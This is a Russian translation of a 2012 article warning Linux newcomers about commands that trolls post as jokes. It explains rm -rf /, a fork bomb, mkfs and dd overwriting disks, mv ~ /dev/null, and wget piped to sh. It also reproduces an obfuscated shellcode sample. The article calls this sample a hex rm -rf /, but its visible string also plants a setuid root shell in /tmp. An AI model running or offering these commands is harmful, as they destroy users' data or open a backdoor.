Библиотека сайта rus-linux.net
Восемь опасных команд, которые никогда не следует выполнять в Linux
Оригинал: 8 Deadly Commands You Should Never Run on LinuxАвтор: Chris Hoffman
Дата публикации: 24 сентября 2012 г.
Перевод: Н.Ромоданов
Дата перевода: июнь 2014 г.
Терминальные команды в Linux являются мощными и Linux не попросит вас подтвердить, если вы запустите команду, которая испортит вашу систему. Не редкость увидеть в сети советы от троллей, рекомендующих в качестве шутки выполнить пользователям-новичкам Linux следующие команды.
Изучение команд, которые вам не следует запускать, может помочь защитить вас от троллей и повысит ваше понимание того, как работает Linux. Это не исчерпывающее руководство, и команды, приведенные здесь, могут быть смикшированы различными способами.
Обратите внимание, что многие из этих команд будут опасны только в случае, если у них в Ubuntu будет использован префикс sudo
- иначе они не будут работать. На других дистрибутивах Linux, большинство команд должны запускаться с правами суперпользователя.
rm -rf / – удаление всего!
Команда rm -rf /
удаляет все, что возможно, в том числе файлы на вашем жестком диске и файлы на подключенных съемных медиа устройствах. Эта команда будет более понятной, если ее разделить на части:
rm
– удалить следующие файлы.
-rf
- Выполнить команду rm рекурсивно (r – recursively: удаление всех файлов и каталогов внутри указанного каталога) и принудительно удалить (f - force-remove) все файлы, не спрашивая каких-либо подтверждений.
/
- Сообщает команде rm, чтобы надо начать с корневого каталога, в котором содержатся все файлы на вашем компьютере и все смонтированные мультимедийные устройства, в том числе удалить все разделяемые файлы и файлы на съемных дисках.
Linux с удовольствием подчинится этой команде и удалит все без какого-либо запроса, так что будьте осторожны при ее использовании! Команда rm также может быть использована другим опасным способом - ее вариант rm –rf ~
удалит все файлы в вашем домашнем каталоге, а вариант rm -rf .*
удалить все ваши конфигурационные файлы.
Урок: Будьте аккуратны с командой rm -rf.
Замаскированные вариант rm –rf /
Вот еще один фрагмент кода, который гуляет по сети:
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
Это шестнадцатеричная версия команды rm –rf / - выполнение этой команды уничтожит ваши файлы так же, как если бы вы запустили команду rm –rf /.
Урок: Не запускайте странные на вид, возмржно, замаскированные команды, которые вы не понимаете.
:(){ :|: & };: – форк-бомба
В следующей строке представлена простая на вид, но и опасная функция bash:
:(){ :|: & };:
В этой короткой строке определена функция командной оболочки, которая создает свои собственные копии. Процесс постоянно воспроизводит себя, и его копии постоянно размножаться, быстро занимая все свое процессорное время и всю память. Это может привести к остановке компьютера. Это, в большей степени, атака вида denial-of-service (отказ в обслуживании).
Урок: Функции bash являются мощными, даже если они очень короткие.
mkfs.ext4 /dev/sda1 – форматирование жесткого диска
Команда mkfs.ext4 /dev/sda1 является простой и понятной:
mkfs.ext4 – создается новая файловая система ext4 на следующем устройстве.
/dev/sda1 - указывает первый раздел на первом жестком диске, который, вероятно, используется.
Если объединить эти команды вместе, то это может быть эквивалентно запуску в Windows команды format c: - файлы в вашем первом разделе будут стерты и будут заменены новой файловой системой.
Эта команда может быть также представлена в других видах – команда mkfs.ext3 /dev/sdb2 отформатирует второй раздел на втором жестком диске с файловой системой ext3.
Урок: Остерегайтесь выполнять команды непосредственно с жесткими дисками, которые начинаются с /dev/sd.
command > /dev/sda – запись непосредственно на жесткий диск
Строка command > /dev/sda работает аналогичным образом - она запускает команду и посылает результат работы этой команды прямо на ваш первый жесткий диск, записывая данные непосредственно на жестком диске и повреждая вашу файловой системы.
command - выполнить команду (может быть любая команда)
> – отправить результат работы команды в следующее место.
/dev/sda - записывать результат работы команды непосредственно на устройство жесткого диска.
Урок: Как и выше, остерегайтесь выполнения команд, в которых указываются устройства жестких дисков, начинающиеся /dev/sd.
dd if=/dev/random of=/dev/sda – запись мусора на жесткий диск
Строка dd if=/dev/random of=/dev/sda также уничтожит данные на одном из ваших жестких дисков.
dd - выполняет копирование из одного места в другое.
if=/dev/random – в качестве входа используется /dev/random (случайные данные) - вы также можете увидеть такой вариант, /dev/zero (обнуление).
of=/dev/sda - выдача данных на первый жесткий диск, заменяя его файловую систему случайными мусорными данными.
Урок: Команда dd копирует данные из одного места в другое, что может быть опасным, если вы копируете данные непосредственно на устройство.
mv ~ /dev/null – перемещение вашего домашнего каталога в черную дыру
/dev/null является еще одним специальным местом - перемещение чего-либо в /dev/null будет то же самое, что и стирание. Считайте устройство /dev/null черной дырой. По существу, команда mv ~ /dev/null перемещает все ваши личные файлы в черную дыру.
mv - переместить следующий файл или каталог в другое место.
~ – указывает на весь ваш домашний каталог.
/dev/null - перемещает ваш ваш домашний каталог на устройство /dev/null, уничтожая тем самым все ваши файлы и удаляя копии оригиналов.
Урок: Символ ~ обозначает ваш домашний каталог и перемещение его в /dev/null, он уничтожается.
wget http://example.com/something -O – | sh – скачивание и запуск скрипта
Эта строка загружает скрипт из интернета и отправляет в интерпретатор sh, который выполняет содержимое скрипта. Это может быть опасным, если вы не знаете, что делает скрипт или если вы не доверяете его источнику - не запускать ненадежные скрипты.
wget - загружает файл. (Вы также можете увидеть curl вместо wget).
http://example.com/something - загрузка файл из указанного каталога.
| - конвейер (перенаправление), который перенаправляет вывод команды wget (файл, который вы скачали) непосредственно в другую команду.
sh - перенаправление файла в команду sh, которая выполняет его, если это скрипт bash.
Урок: Не загружайте и не запускать ненадежные скрипты из интернета, даже если указана команда.
Знаете ли вы какие-нибудь другие опасные команды, которые не должны запускать в Linux пользователи-новички (и опытные пользователи)? Оставьте свой комментарий и поделитесь ими!